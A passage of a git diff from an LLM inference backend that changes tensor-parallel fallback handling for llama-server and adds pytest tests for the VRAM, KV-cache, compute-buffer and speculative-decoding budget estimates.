+    ):
+        requested = True
+    return requested == loaded_tensor_parallel
+
+
 _MMPROJ_DISABLE_FLAGS: frozenset[str] = frozenset({"--no-mmproj", "--no-mmproj-auto"})
 _MMPROJ_ENABLE_FLAGS: frozenset[str] = frozenset({"--mmproj-auto"})
 
diff --git a/studio/backend/core/inference/tensor_fallback.py b/studio/backend/core/inference/tensor_fallback.py
index 73687165b8..3ceb1a268a 100644
--- a/studio/backend/core/inference/tensor_fallback.py
+++ b/studio/backend/core/inference/tensor_fallback.py
@@ -13,7 +13,7 @@ import logging
 from typing import Awaitable, Callable, Optional
 
 from core.inference.llama_server_args import (
-    resolve_tensor_parallel,
+    _effective_tensor_parallel,
     strip_split_mode_only,
 )
 
@@ -34,18 +34,20 @@ async def load_with_tensor_fallback(
     True on success; it *raises* on a hard crash (llama-server aborts on some
     archs / older builds), which is treated the same as a False return.
 
-    Tensor mode can be requested by the toggle or by a ``--split-mode tensor``
-    in ``extra_args`` (an allowed shadow flag), so the retry is keyed on whether
-    tensor mode is actually engaged, and it strips ``--split-mode`` from the
-    extras so the layer retry can't relaunch the same failing tensor load. A
-    non-tensor load keeps its original contract and propagates exceptions.
+    Tensor mode can be requested by the toggle, by a ``--split-mode tensor`` in
+    ``extra_args`` (an allowed shadow flag), or by an inherited
+    ``LLAMA_ARG_SPLIT_MODE=tensor`` env (load_model engages it the same way), so
+    the retry is keyed on whether tensor mode is actually engaged, and it forces
+    ``--split-mode layer`` on the retry so neither leftover extras nor the
+    inherited tensor env can relaunch the same failing tensor load. A non-tensor
+    load keeps its original contract and propagates exceptions.
 
     ``cancelled()`` distinguishes a real tensor-start failure from a user
     cancellation: ``attempt_load`` also returns False when the load was
     cancelled, so without this the helper would restart a load the user just
     cancelled.
     """
-    tensor_requested = resolve_tensor_parallel(extra_args, requested_tensor)
+    tensor_requested = _effective_tensor_parallel(extra_args, requested_tensor)
     try:
         success = await attempt_load(requested_tensor, extra_args)
     except Exception as exc:
@@ -67,4 +69,8 @@ async def load_with_tensor_fallback(
         "(this model may not support tensor parallelism)",
         label,
     )
-    return await attempt_load(False, strip_split_mode_only(extra_args))
+    # Force --split-mode layer (CLI wins over env) so neither leftover extras nor
+    # an inherited LLAMA_ARG_SPLIT_MODE=tensor can re-engage tensor and re-crash
+    # the retry; load_model and the child both honor the explicit layer override.
+    layer_extras = strip_split_mode_only(extra_args) or []
+    return await attempt_load(False, [*layer_extras, "--split-mode", "layer"])
diff --git a/studio/backend/routes/inference.py b/studio/backend/routes/inference.py
index da266bf768..2193d562e3 100644
--- a/studio/backend/routes/inference.py
+++ b/studio/backend/routes/inference.py
@@ -612,6 +612,7 @@ try:
         detect_reasoning_flags,
     )
     from core.inference.llama_server_args import (
+        _tensor_parallel_matches_loaded,
         resolve_tensor_parallel,
         strip_shadowing_flags,
         validate_extra_args,
@@ -646,6 +647,7 @@ except ImportError:
         detect_reasoning_flags,
     )
     from core.inference.llama_server_args import (
+        _tensor_parallel_matches_loaded,
         resolve_tensor_parallel,
         strip_shadowing_flags,
         validate_extra_args,
@@ -1813,9 +1815,8 @@ def _request_matches_loaded_settings(
             strip_split_mode = _should_strip_split_mode(request, backend_extra),
         )
     )
-    if (
-        resolve_tensor_parallel(effective_extra, request.tensor_parallel)
-        != llama_backend.tensor_parallel
+    if not _tensor_parallel_matches_loaded(
+        effective_extra, request.tensor_parallel, llama_backend.tensor_parallel
     ):
         return False
     # Spec decoding works on vision models too (MTP is mmproj-compatible,
diff --git a/studio/backend/tests/test_compute_buffer.py b/studio/backend/tests/test_compute_buffer.py
new file mode 100644
index 0000000000..42c400383e
--- /dev/null
+++ b/studio/backend/tests/test_compute_buffer.py
@@ -0,0 +1,152 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Tests for ``_estimate_compute_buffer_bytes``: it scales with ``--parallel``,
+tensor exceeds pipeline, and it is a safe upper bound on the allocations measured
+on real hardware (Qwen3.6-27B-MTP: parallel 1/2/4/8 -> 36/492/1388/3220 MiB single
+GPU, ~600 MiB/device tensor). No GPU, subprocess, or GGUF I/O."""
+
+from __future__ import annotations
+
+import sys
+import types as _types
+from pathlib import Path
+
+import pytest
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+_loggers_stub = _types.ModuleType("loggers")
+_loggers_stub.get_logger = lambda name: __import__("logging").getLogger(name)
+sys.modules.setdefault("loggers", _loggers_stub)
+_structlog_stub = _types.ModuleType("structlog")
+_structlog_stub.get_logger = lambda *a, **k: __import__("logging").getLogger("stub")
+sys.modules.setdefault("structlog", _structlog_stub)
+# httpx -- only stub when the real library is missing. Unconditional stubbing
+# shadows HTTPError/Response that huggingface_hub.errors imports at load time,
+# silently breaking the transformers introspection tier in tests collected after
+# this one (the stub leaks via sys.modules for the whole session).
+try:
+    import httpx as _httpx_real  # noqa: F401
+except ImportError:
+    _httpx_stub = _types.ModuleType("httpx")
+    for _exc in (
+        "ConnectError",
+        "TimeoutException",
+        "ReadTimeout",
+        "ReadError",
+        "RemoteProtocolError",
+        "CloseError",
+        "HTTPError",
+        "RequestError",
+    ):
+        setattr(_httpx_stub, _exc, type(_exc, (Exception,), {}))
+    _httpx_stub.Timeout = type("T", (), {"__init__": lambda s, *a, **k: None})
+    _httpx_stub.Response = type("Response", (), {})
+    _httpx_stub.Client = type(
+        "C",
+        (),
+        {
+            "__init__": lambda s, **kw: None,
+            "__enter__": lambda s: s,
+            "__exit__": lambda s, *a: None,
+        },
+    )
+    sys.modules["httpx"] = _httpx_stub
+
+from core.inference.llama_cpp import LlamaCppBackend
+
+MIB = 1024 * 1024
+
+
+def _backend(vocab = 248320, embd = 5120):
+    """Backend with just the dims the compute-buffer estimate reads."""
+    b = LlamaCppBackend.__new__(LlamaCppBackend)
+    b._vocab_size = vocab
+    b._embedding_length = embd
+    return b
+
+
+# Measured ground truth (MiB) the estimate must upper-bound.
+_PIPELINE_MEASURED = {1: 36, 2: 492, 4: 1388, 8: 3220}
+_TENSOR_MEASURED_PER_DEVICE = 600
+
+
+class TestSafeUpperBound:
+    """The estimate must be >= every measured allocation (never under-reserve)."""
+
+    @pytest.mark.parametrize("parallel,measured", sorted(_PIPELINE_MEASURED.items()))
+    def test_pipeline_upper_bounds_measured(self, parallel, measured):
+        est = _backend()._estimate_compute_buffer_bytes(n_parallel = parallel) / MIB
+        assert est >= measured, f"under-reserved at parallel={parallel}: {est:.0f} < {measured}"
+
+    @pytest.mark.parametrize("parallel,measured", sorted(_PIPELINE_MEASURED.items()))
+    def test_pipeline_not_wildly_over(self, parallel, measured):
+        # Stay within ~2x of measured so we don't waste context (the point of
+        # replacing the flat reserve). parallel=1 is tiny in absolute terms.
+        est = _backend()._estimate_compute_buffer_bytes(n_parallel = parallel) / MIB
+        assert est <= max(measured * 2.0, 128)
+
+    def test_tensor_upper_bounds_measured(self):
+        est = _backend()._estimate_compute_buffer_bytes(n_parallel = 1, per_device_tensor = True) / MIB
+        assert est >= _TENSOR_MEASURED_PER_DEVICE
+
+    def test_tensor_far_below_old_flat_reserve(self):
+        # The whole point: deterministic estimate << flat 5120 for this model.
+        est = _backend()._estimate_compute_buffer_bytes(n_parallel = 1, per_device_tensor = True) / MIB
+        assert est < LlamaCppBackend._TENSOR_PARALLEL_BUFFER_RESERVE_MIB
+
+
+class TestScaling:
+    def test_grows_with_serving_slots(self):
+        b = _backend()
+        vals = [b._estimate_compute_buffer_bytes(n_parallel = p) for p in (1, 2, 4, 8)]
+        assert vals == sorted(vals) and vals[0] < vals[-1]
+
+    def test_parallel_1_is_small(self):
+        # Single-token decode: a few tens of MiB, not gigabytes.
+        est = _backend()._estimate_compute_buffer_bytes(n_parallel = 1) / MIB
+        assert est < 128
+
+    def test_tensor_exceeds_pipeline_at_same_parallel(self):
+        b = _backend()
+        pipe = b._estimate_compute_buffer_bytes(n_parallel = 1)
+        tens = b._estimate_compute_buffer_bytes(n_parallel = 1, per_device_tensor = True)
+        assert tens > pipe
+
+    def test_scales_with_vocab(self):
+        small = _backend(vocab = 32000)._estimate_compute_buffer_bytes(n_parallel = 4)
+        big = _backend(vocab = 256000)._estimate_compute_buffer_bytes(n_parallel = 4)
+        assert big > small
+
+    def test_scales_with_ubatch(self):
+        b = _backend()
+        lo = b._estimate_compute_buffer_bytes(n_parallel = 4, n_ubatch = 256)
+        hi = b._estimate_compute_buffer_bytes(n_parallel = 4, n_ubatch = 1024)
+        assert hi > lo
+
+
+class TestFallback:
+    def test_zero_when_vocab_missing(self):
+        assert _backend(vocab = None)._estimate_compute_buffer_bytes(n_parallel = 4) == 0
+
+    def test_zero_when_embd_missing(self):
+        assert _backend(embd = None)._estimate_compute_buffer_bytes(n_parallel = 4) == 0
+
+    def test_zero_lets_tensor_plan_use_flat_fallback(self):
+        # When dims are missing, _plan_tensor_parallel must fall back to the flat
+        # reserve (defense-in-depth) rather than reserving 0 and OOMing.
+        b = _backend(vocab = None, embd = None)
+        b._n_layers = None  # can't estimate KV -> floors ctx, still returns a plan
+        ec, mac, gi, ts = b._plan_tensor_parallel([(0, 48000), (1, 48000)], 8 * 1024**3, 8192)
+        assert gi == [0, 1]  # both GPUs usable under the flat fallback
+
+
+class TestParallel1Default:
+    """At Studio's default --parallel 1 the buffer is negligible in pipeline."""
+
+    def test_default_n_parallel(self):
+        est = _backend()._estimate_compute_buffer_bytes() / MIB
+        assert est < 128
diff --git a/studio/backend/tests/test_kv_cache_estimation.py b/studio/backend/tests/test_kv_cache_estimation.py
index cd834b345b..27e9d0f57a 100644
--- a/studio/backend/tests/test_kv_cache_estimation.py
+++ b/studio/backend/tests/test_kv_cache_estimation.py
@@ -71,7 +71,7 @@ except ImportError:
     )
     sys.modules["httpx"] = _httpx_stub
 
-from core.inference.llama_cpp import LlamaCppBackend
+from core.inference.llama_cpp import _CTX_FIT_VRAM_FRACTION, LlamaCppBackend
 
 # Helpers
 
@@ -1484,8 +1484,8 @@ class TestServerFlags:
         assert fitted < 32_768
 
     def test_fit_mtp_engaged_returns_smaller_or_equal_context(self):
-        # MTP budget is 0.85 of available, non-MTP is 0.90; on a tight
-        # budget MTP must yield <= non-MTP.
+        # Flat MTP fallback budget is _CTX_FIT_VRAM_FRACTION - 0.05; non-MTP is
+        # the full fraction. On a tight budget MTP must yield <= non-MTP.
         b = self._gqa_backend()
         common = dict(
             requested_ctx = 32_768,
@@ -1518,7 +1518,7 @@ class TestServerFlags:
         kv_full = b._estimate_kv_cache_bytes(ctx, "f16", swa_full = True)
         assert kv_full > kv_default
         # Budget = model + kv_default (rounded up) -- swa_full must not fit.
-        budget_mib = (1024 * 1024 + kv_default) / (1024 * 1024) / 0.90 + 1
+        budget_mib = (1024 * 1024 + kv_default) / (1024 * 1024) / _CTX_FIT_VRAM_FRACTION + 1
         fitted_default = b._fit_context_to_vram(
             requested_ctx = ctx,
             available_mib = int(budget_mib),
diff --git a/studio/backend/tests/test_llama_cpp_context_fit.py b/studio/backend/tests/test_llama_cpp_context_fit.py
index abacc6e953..9866fc4ae1 100644
--- a/studio/backend/tests/test_llama_cpp_context_fit.py
+++ b/studio/backend/tests/test_llama_cpp_context_fit.py
@@ -67,7 +67,11 @@ _httpx_stub.Client = type(
 )
 sys.modules.setdefault("httpx", _httpx_stub)
 
-from core.inference.llama_cpp import LlamaCppBackend, classify_gpu_offload_lines
+from core.inference.llama_cpp import (
+    _CTX_FIT_VRAM_FRACTION,
+    LlamaCppBackend,
+    classify_gpu_offload_lines,
+)
 from core.inference.llama_server_args import parse_ctx_override, resolve_requested_ctx
 
 
@@ -171,7 +175,7 @@ def _drive(
                 )
                 kv = inst._estimate_kv_cache_bytes(capped, cache_type_kv)
                 total_mib = (model_size + kv) / (1024 * 1024)
-                if total_mib <= pool_mib * 0.90:
+                if total_mib <= pool_mib * _CTX_FIT_VRAM_FRACTION:
                     best_cap = max(best_cap, capped)
             if best_cap > 0:
                 max_available_ctx = best_cap
@@ -664,3 +668,39 @@ class TestClassifyGpuOffload:
 
     def test_module_level_no_signal_returns_none(self):
         assert classify_gpu_offload_lines(["INFO starting server"]) is None
+
+
+def test_select_gpus_ranks_by_usable_not_raw_free():
+    # 80 GB card (30 GB free -> 25.9 GB usable) vs 32 GB card (29 GB free -> 27.4
+    # GB usable). A 27 GB model fits the 32 GB card alone; raw-free ranking would
+    # try the 80 GB card first and split across both. Usable ranking picks [1].
+    gpus = [(0, 30000), (1, 29000)]
+    totals = {0: 81920, 1: 32607}
+    model = int(27000 * 1024 * 1024)
+    idxs, use_fit = LlamaCppBackend._select_gpus(model, gpus, total_by_idx = totals)
+    assert idxs == [1] and use_fit is False
+
+
+def test_select_gpus_reserves_per_device_overhead():
+    # Two 16 GB cards, ~15181 MiB usable each at 0.95 -> 30362 MiB pooled. A 30000
+    # MiB model fits the pool with no per-device overhead, but a layer split also
+    # pays ~1 GiB/extra-GPU; that pushes the 2-GPU need to 31024 MiB > pool, so a
+    # pin would OOM -> must fall back to --fit. Single-GPU fits add no overhead
+    # (Finding F1, the explicit/file-size multi-GPU pin gap).
+    gpus = [(0, 16000), (1, 16000)]
+    totals = {0: 16384, 1: 16384}
+    gib = 1024 * 1024 * 1024
+    model = int(30000 * 1024 * 1024)
+    idxs, use_fit = LlamaCppBackend._select_gpus(model, gpus, total_by_idx = totals)
+    assert idxs == [0, 1] and use_fit is False  # fits 2 GPUs without overhead
+    idxs2, use_fit2 = LlamaCppBackend._select_gpus(
+        model, gpus, total_by_idx = totals, per_device_overhead_bytes = gib
+    )
+    assert idxs2 is None and use_fit2 is True  # overhead tips it past the pool
+    # A single-GPU fit is unchanged by the overhead (k=1 adds nothing).
+    small = int(15000 * 1024 * 1024)
+    a, _ = LlamaCppBackend._select_gpus(small, gpus, total_by_idx = totals)
+    b, _ = LlamaCppBackend._select_gpus(
+        small, gpus, total_by_idx = totals, per_device_overhead_bytes = gib
+    )
+    assert a == [0] and b == [0]
diff --git a/studio/backend/tests/test_llama_cpp_max_context_threshold.py b/studio/backend/tests/test_llama_cpp_max_context_threshold.py
index 310aaf6c0f..545b9c4e7a 100644
--- a/studio/backend/tests/test_llama_cpp_max_context_threshold.py
+++ b/studio/backend/tests/test_llama_cpp_max_context_threshold.py
@@ -74,7 +74,7 @@ _httpx_stub.Client = type(
 )
 sys.modules.setdefault("httpx", _httpx_stub)
 
-from core.inference.llama_cpp import LlamaCppBackend
+from core.inference.llama_cpp import _CTX_FIT_VRAM_FRACTION, LlamaCppBackend
 
 
 # Helpers
@@ -140,7 +140,7 @@ def _compute_max_available_ctx(
         )
         kv = inst._estimate_kv_cache_bytes(capped, cache_type_kv)
         total_mib = (model_size + kv) / (1024 * 1024)
-        if total_mib <= pool_mib * 0.90:
+        if total_mib <= pool_mib * _CTX_FIT_VRAM_FRACTION:
             best_cap = max(best_cap, capped)
     if best_cap > 0:
         max_available_ctx = best_cap
diff --git a/studio/backend/tests/test_llama_cpp_mtp_detection.py b/studio/backend/tests/test_llama_cpp_mtp_detection.py
index 14c3848d33..063a9ce2cd 100644
--- a/studio/backend/tests/test_llama_cpp_mtp_detection.py
+++ b/studio/backend/tests/test_llama_cpp_mtp_detection.py
@@ -1268,9 +1268,10 @@ def test_build_speculative_flags_user_draft_n_max_override(monkeypatch):
     assert backend.spec_draft_n_max == 5
 
 
-def test_build_speculative_flags_mtp_token_missing_logs_and_skips(monkeypatch):
-    # Outdated llama-server with no MTP support: forced MTP must degrade
-    # to spec-off (warned) rather than emit a bad --spec-type.
+def test_build_speculative_flags_mtp_token_missing_emits_spec_default(monkeypatch):
+    # Outdated llama-server with no MTP support: forced MTP must degrade (warned)
+    # and emit --spec-default so an inherited LLAMA_ARG_SPEC_TYPE=draft-mtp (CLI
+    # wins over env) can't make the child attempt MTP the gate budgeted off.
     backend = _resolver_backend(monkeypatch, mtp_token = None)
     flags = backend._build_speculative_flags(
         speculative_type = "mtp",
@@ -1282,10 +1283,11 @@ def test_build_speculative_flags_mtp_token_missing_logs_and_skips(monkeypatch):
         binary = "/fake/llama-server",
     )
     assert "--spec-type" not in flags
-    # _speculative_type stays None (resolved emission was none); the user's
-    # choice is still reflected in _requested_spec_mode.
+    assert "--spec-default" in flags
+    # Degraded to non-speculative; the user's choice is still reflected.
+    assert backend.speculative_type == "default"
     assert backend.requested_spec_mode == "mtp"
-    assert backend.speculative_type is None
+    assert backend.spec_fallback_reason == "binary_no_mtp"
 
 
 def test_forced_mtp_on_non_mtp_model_defaults_back(monkeypatch):
diff --git a/studio/backend/tests/test_llama_server_args.py b/studio/backend/tests/test_llama_server_args.py
index f3a3ea1ec4..deeb228026 100644
--- a/studio/backend/tests/test_llama_server_args.py
+++ b/studio/backend/tests/test_llama_server_args.py
@@ -24,6 +24,7 @@ _lsa = importlib.util.module_from_spec(_spec)
 _spec.loader.exec_module(_lsa)
 is_managed_flag = _lsa.is_managed_flag
 parse_cache_override = _lsa.parse_cache_override
+parse_cache_override_per_axis = _lsa.parse_cache_override_per_axis
 parse_ctx_override = _lsa.parse_ctx_override
 parse_split_mode_override = _lsa.parse_split_mode_override
 resolve_cache_type_kv = _lsa.resolve_cache_type_kv
@@ -467,6 +468,25 @@ def test_parse_cache_override_rejects_malformed_values(args):
         parse_cache_override(args)
 
 
+@pytest.mark.parametrize(
+    "args, expected",
+    [
+        (["--cache-type-k", "f32", "--cache-type-v", "f16"], ("f32", "f16")),
+        (["-ctk", "q8_0", "-ctv", "q4_0"], ("q8_0", "q4_0")),
+        (["--cache-type-k=f32"], ("f32", None)),
+        (["--cache-type-v", "f16"], (None, "f16")),
+        (["-c", "4096"], (None, None)),
+        (None, (None, None)),
+        # Last-wins is kept per axis.
+        (["-ctk", "f16", "-ctk", "f32"], ("f32", None)),
+    ],
+)
+def test_parse_cache_override_per_axis(args, expected):
+    # Unlike parse_cache_override (collapses both axes to one last-wins value),
+    # this keeps K and V apart so an asymmetric cache can be budgeted per axis.
+    assert parse_cache_override_per_axis(args) == expected
+
+
 def test_resolve_cache_type_kv_uses_override_when_present():
     assert resolve_cache_type_kv(["--cache-type-k", "q8_0"], "f16") == "q8_0"
 
@@ -649,6 +669,53 @@ def test_strip_shadowing_flags_drops_model_draft_with_spec():
     assert out == ["--top-k", "20"]
 
 
+@pytest.mark.parametrize(
+    "selector",
+    [
+        ["--spec-draft-hf", "org/repo"],
+        ["-hfd", "org/repo"],
+        ["-hfrd", "org/repo"],
+        ["--hf-repo-draft", "org/repo"],
+        ["--spec-draft-hf=org/repo"],
+    ],
+)
+def test_strip_shadowing_flags_drops_hf_drafter_selectors_with_spec(selector):
+    # HF drafter selectors must reset on inherit like local --model-draft, or a
+    # stale inherited HF drafter last-wins over Studio's re-derived spec choice.
+    out = strip_shadowing_flags(
+        selector + ["--top-k", "20"],
+        strip_context = False,
+        strip_cache = False,
+        strip_spec = True,
+        strip_template = False,
+    )
+    assert out == ["--top-k", "20"]
+
+
+def test_strip_shadowing_flags_keeps_draft_tuning_with_spec():
+    # Per-drafter tuning knobs are deliberately preserved: the VRAM budget reads
+    # them via the same parsers the child honors (so they stay consistent on
+    # inherit), and stripping --spec-draft-ngl would move a CPU drafter to GPU.
+    keep = [
+        "--spec-draft-type-k",
+        "q4_0",
+        "--spec-draft-type-v",
+        "q4_0",
+        "--spec-draft-ngl",
+        "0",
+        "--spec-draft-device",
+        "cpu",
+    ]
+    out = strip_shadowing_flags(
+        list(keep),
+        strip_context = False,
+        strip_cache = False,
+        strip_spec = True,
+        strip_template = False,
+    )
+    assert out == keep
+
+
 def test_strip_shadowing_flags_keeps_split_mode_when_not_requested():
     # No tensor_parallel field supplied on the Apply -> an inherited
     # --split-mode survives (mirrors the chat-template keep behavior).
diff --git a/studio/backend/tests/test_mtp_vram_budget.py b/studio/backend/tests/test_mtp_vram_budget.py
new file mode 100644
index 0000000000..f61ffa3c21
--- /dev/null
+++ b/studio/backend/tests/test_mtp_vram_budget.py
@@ -0,0 +1,1002 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Tests for the deterministic MTP VRAM reserve used by load-time auto-fit.
+
+reserve(ctx) = draft_KV(ctx, draft_cache_type) + separate_drafter_weights, sized
+from GGUF dims (embedded head from the main model's dims; separate drafter from
+its own KV). Anchors checked against real llama-server measurements. Pure: no
+GPU, network, subprocess, or GGUF I/O."""
+
+from __future__ import annotations
+
+import inspect
+import os
+import sys
+import types as _types
+from pathlib import Path
+
+import pytest
+
+# ---------------------------------------------------------------------------
+# Stub heavy/unavailable deps before importing the module under test.
+# ---------------------------------------------------------------------------
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+_loggers_stub = _types.ModuleType("loggers")
+_loggers_stub.get_logger = lambda name: __import__("logging").getLogger(name)
+sys.modules.setdefault("loggers", _loggers_stub)
+
+sys.modules.setdefault("structlog", _types.ModuleType("structlog"))
+
+# httpx -- only stub when the real library is missing. Unconditional stubbing
+# shadows HTTPError/Response that huggingface_hub.errors imports at load time,
+# silently breaking the transformers introspection tier in tests collected after
+# this one (the stub leaks via sys.modules for the whole session).
+try:
+    import httpx as _httpx_real  # noqa: F401
+except ImportError:
+    _httpx_stub = _types.ModuleType("httpx")
+    for _exc_name in (
+        "ConnectError",
+        "TimeoutException",
+        "ReadTimeout",
+        "ReadError",
+        "RemoteProtocolError",
+        "CloseError",
+        "HTTPError",
+        "RequestError",
+    ):
+        setattr(_httpx_stub, _exc_name, type(_exc_name, (Exception,), {}))
+    _httpx_stub.Timeout = type("Timeout", (), {"__init__": lambda self, *a, **kw: None})
+    _httpx_stub.Response = type("Response", (), {})
+    _httpx_stub.Client = type(
+        "Client",
+        (),
+        {
+            "__init__": lambda self, **kw: None,
+            "__enter__": lambda self: self,
+            "__exit__": lambda self, *a: None,
+        },
+    )
+    sys.modules["httpx"] = _httpx_stub
+
+from core.inference.llama_cpp import (  # noqa: E402
+    _CTX_FIT_VRAM_FRACTION,
+    LlamaCppBackend,
+    _extra_args_draft_cache_types,
+    _extra_args_draft_offloaded_to_cpu,
+    _extra_args_mtp_draft_path,
+    _extra_args_n_ubatch,
+    _extra_args_requests_mtp,
+    _extra_args_requests_separate_draft,
+    _extra_args_spec_draft_n_max,
+    _effective_tensor_parallel,
+    _env_main_cache_type_for_budget,
+    _extra_args_main_cache_type_for_budget,
+    _kv_bytes_per_elem,
+    _tensor_parallel_matches_loaded,
+)
+from core.inference.llama_server_args import _env_split_mode_is_tensor  # noqa: E402
+
+MIB = 1024 * 1024
+GIB = 1024**3
+
+
+# ---------------------------------------------------------------------------
+# Helpers
+# ---------------------------------------------------------------------------
+
+
+def _make_backend(
+    *,
+    nextn = 1,
+    n_kv_heads = 4,
+    n_heads = 24,
+    kv_key_length = 256,
+    kv_value_length = 256,
+    embedding_length = 5120,
+    n_layers = 65,
+    native_ctx = 262144,
+):
+    """Qwen3.6-27B-MTP-class backend (embedded head) with the MTP-math dims."""
+    b = LlamaCppBackend.__new__(LlamaCppBackend)
+    b._nextn_predict_layers = nextn
+    b._n_kv_heads = n_kv_heads
+    b._n_heads = n_heads
+    b._kv_key_length = kv_key_length
+    b._kv_value_length = kv_value_length
+    b._embedding_length = embedding_length
+    b._n_layers = n_layers
+    b._context_length = native_ctx
+    # Hybrid attention/Mamba (qwen35 path) + remaining KV-estimator fields.
+    b._shared_kv_layers = 0
+    b._kv_lora_rank = None
+    b._sliding_window = None
+    b._sliding_window_pattern = None
+    b._ssm_inner_size = 6144
+    b._full_attention_interval = 4
+    b._key_length_mla = None
+    b._n_kv_heads_by_layer = None
+    b._kv_key_length_swa = None
+    b._kv_value_length_swa = None
+    b._draft_backend_cache = None
+    return b
+
+
+class _StubDrafter:
+    """Stand-in for a separate drafter backend (no GGUF I/O)."""
+
+    def __init__(self, kv_per_token):
+        self._kv_per_token = kv_per_token
+
+    def _can_estimate_kv(self):
+        return True
+
+    def _estimate_kv_cache_bytes(
+        self,
+        n_ctx,
+        cache_type = None,
+        n_parallel = 1,
+        **_k,
+    ):
+        bpe = _kv_bytes_per_elem(cache_type)
+        # n_parallel scales like a sliding-window drafter's per-slot KV.
+        return 0 if n_ctx <= 0 else int(n_ctx * self._kv_per_token * bpe / 2.0 * n_parallel)
+
+
+# ---------------------------------------------------------------------------
+# Embedded draft KV: deterministic from nextn dims, scales with ctx + draft type
+# ---------------------------------------------------------------------------
+
+
+class TestEmbeddedDraftKv:
+    def test_scales_linearly_with_context(self):
+        b = _make_backend()
+        kv_8k = b._mtp_draft_kv_bytes(8192)
+        kv_16k = b._mtp_draft_kv_bytes(16384)
+        kv_64k = b._mtp_draft_kv_bytes(65536)
+        assert kv_8k and kv_16k and kv_64k
+        assert kv_16k == pytest.approx(2 * kv_8k)
+        assert kv_64k == pytest.approx(8 * kv_8k)
+
+    def test_value_matches_dim_formula_f16(self):
+        # nextn(1) * n_kv(4) * (256+256) * 2(f16) * ctx -- no magic safety factor.
+        b = _make_backend()
+        ctx = 131072
+        expected = int(1 * 4 * 512 * 2.0 * ctx)
+        assert b._mtp_draft_kv_bytes(ctx) == expected
+        # And that is 512 MiB, matching the measured 27B draft-KV slope (~4 MiB/1k).
+        assert b._mtp_draft_kv_bytes(ctx) / MIB == pytest.approx(512, abs = 1)
+
+    def test_scales_with_nextn_predict_layers(self):
+        one = _make_backend(nextn = 1)._mtp_draft_kv_bytes(65536)
+        two = _make_backend(nextn = 2)._mtp_draft_kv_bytes(65536)
+        assert two == pytest.approx(2 * one)
+
+    def test_embedded_draft_kv_floored_at_f16(self):
+        # The embedded MTP head is one layer, so llama.cpp's quantized-KV
+        # overhead is not amortized: a quantized draft KV fits LESS context than
+        # f16, not more (ggml-org/llama.cpp#24102). The embedded reserve floors a
+        # quantized draft type at f16 (never under-reserved); f32 still costs more.
+        b = _make_backend()
+        f16 = b._mtp_draft_kv_bytes(65536, draft_cache_type_k = "f16", draft_cache_type_v = "f16")
+        q8 = b._mtp_draft_kv_bytes(65536, draft_cache_type_k = "q8_0", draft_cache_type_v = "q8_0")
+        q4 = b._mtp_draft_kv_bytes(65536, draft_cache_type_k = "q4_0", draft_cache_type_v = "q4_0")
+        f32 = b._mtp_draft_kv_bytes(65536, draft_cache_type_k = "f32", draft_cache_type_v = "f32")
+        assert q8 == f16 and q4 == f16  # quantized draft KV priced as f16, not less
+        assert f32 == pytest.approx(f16 * 2.0)  # f32 genuinely larger, not floored
+
+    def test_draft_kv_split_axes_no_under_reserve(self):
+        # A quantized draft type on either or both axes never reserves below the
+        # all-f16 value for the single-layer embedded head (the f16 floor; #24102).
+        b = _make_backend()
+        both_q4 = b._mtp_draft_kv_bytes(
+            131072, draft_cache_type_k = "q4_0", draft_cache_type_v = "q4_0"
+        )
+        k_only = b._mtp_draft_kv_bytes(131072, draft_cache_type_k = "q4_0")  # V defaults f16
+        both_f16 = b._mtp_draft_kv_bytes(131072, draft_cache_type_k = "f16", draft_cache_type_v = "f16")
+        assert both_q4 == k_only == both_f16  # floored at f16, never under-reserved
+
+    def test_none_when_dims_missing(self):
+        assert _make_backend(nextn = 0)._mtp_draft_kv_bytes(65536) is None
+        assert _make_backend(kv_key_length = None)._mtp_draft_kv_bytes(65536) is None
+        assert _make_backend()._mtp_draft_kv_bytes(0) is None
+
+
+# ---------------------------------------------------------------------------
+# Separate drafter (Gemma): sized from the drafter GGUF's own dims + weights
+# ---------------------------------------------------------------------------
+
+
+class TestSeparateDrafter:
+    def test_uses_drafter_kv_and_weights(self, monkeypatch):
+        b = _make_backend(nextn = None)  # main has no embedded head
+        stub = _StubDrafter(kv_per_token = 2000)
+        monkeypatch.setattr(b, "_draft_backend_for", lambda path: stub)
+        ctx = 65536
+        kv = b._mtp_draft_kv_bytes(ctx, drafter_path = "/m/draft.gguf")
+        assert kv == stub._estimate_kv_cache_bytes(ctx)
+        total = b._estimate_mtp_overhead_bytes(
+            ctx, drafter_path = "/m/draft.gguf", draft_weights_bytes = GIB
+        )
+        assert total == kv + GIB
+
+    def test_drafter_kv_scales_with_context(self, monkeypatch):
+        b = _make_backend(nextn = None)
+        monkeypatch.setattr(b, "_draft_backend_for", lambda path: _StubDrafter(2000))
+        a = b._mtp_draft_kv_bytes(16384, drafter_path = "/m/d.gguf")
+        c = b._mtp_draft_kv_bytes(65536, drafter_path = "/m/d.gguf")
+        assert c == pytest.approx(4 * a)
+
+    def test_drafter_kv_scales_with_parallel_slots(self, monkeypatch):
+        # The drafter is served under the same --parallel slots as the main model,
+        # so a sliding-window drafter's KV grows per slot; the reserve must thread
+        # n_parallel or it under-reserves (Finding G1).
+        b = _make_backend(nextn = None)
+        monkeypatch.setattr(b, "_draft_backend_for", lambda path: _StubDrafter(2000))
+        one = b._mtp_draft_kv_bytes(65536, drafter_path = "/m/d.gguf", n_parallel = 1)
+        four = b._mtp_draft_kv_bytes(65536, drafter_path = "/m/d.gguf", n_parallel = 4)
+        assert four == pytest.approx(4 * one)
+        # And it threads through the overhead estimate too.
+        ov1 = b._estimate_mtp_overhead_bytes(
+            65536, drafter_path = "/m/d.gguf", draft_weights_bytes = GIB, n_parallel = 1
+        )
+        ov4 = b._estimate_mtp_overhead_bytes(
+            65536, drafter_path = "/m/d.gguf", draft_weights_bytes = GIB, n_parallel = 4
+        )
+        assert (ov4 - GIB) == pytest.approx(4 * (ov1 - GIB))  # KV scales, weights flat
+
+    def test_none_when_drafter_unreadable(self, monkeypatch):
+        b = _make_backend(nextn = None)
